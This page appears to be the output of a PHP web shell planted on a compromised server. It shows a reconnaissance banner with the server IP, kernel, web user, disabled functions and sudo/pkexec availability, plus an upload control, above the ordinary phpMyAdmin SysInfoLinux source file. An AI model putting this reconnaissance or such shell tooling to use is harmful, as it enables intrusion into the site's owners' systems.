| Server IP : 103.161.17.216 / Your IP : 216.73.216.1 Web Server : nginx/1.18.0 System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/noithattinnguyen.vn/phpmyadmin/phpmyadmin/phpmyadmin/libraries/classes/ |
Upload File : |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
* Hold PhpMyAdmin\SysInfoLinux class
*
* @package PhpMyAdmin
*/
namespace PhpMyAdmin;
use PhpMyAdmin\SysInfo;
use PhpMyAdmin\SysInfoBase;
/**
* Linux based SysInfo class
*
* @package PhpMyAdmin
*/
class SysInfoLinux extends SysInfoBase
{
public $os = 'Linux';
/**
* Gets load information
*
* @return array with load data
*/
function loadavg()
{
$buf = file_get_contents('/proc/stat');
$nums = preg_split(
"/\s+/",
mb_substr(
$buf,
0,
mb_strpos($buf, "\n")
)
);
return Array(
'busy' => $nums[1] + $nums[2] + $nums[3],
'idle' => intval($nums[4]),
);
}
/**
* Checks whether class is supported in this environment
*
* @return true on success
*/
public function supported()
{
return @is_readable('/proc/meminfo') && @is_readable('/proc/stat');
}
/**
* Gets information about memory usage
*
* @return array with memory usage data
*/
function memory()
{
preg_match_all(
SysInfo::MEMORY_REGEXP,
file_get_contents('/proc/meminfo'),
$matches
);
$mem = array_combine($matches[1], $matches[2]);
$defaults = array(
'MemTotal' => 0,
'MemFree' => 0,
'Cached' => 0,
'Buffers' => 0,
'SwapTotal' => 0,
'SwapFree' => 0,
'SwapCached' => 0,
);
$mem = array_merge($defaults, $mem);
foreach ($mem as $idx => $value) {
$mem[$idx] = intval($value);
}
$mem['MemUsed'] = $mem['MemTotal']
- $mem['MemFree'] - $mem['Cached'] - $mem['Buffers'];
$mem['SwapUsed'] = $mem['SwapTotal']
- $mem['SwapFree'] - $mem['SwapCached'];
return $mem;
}
}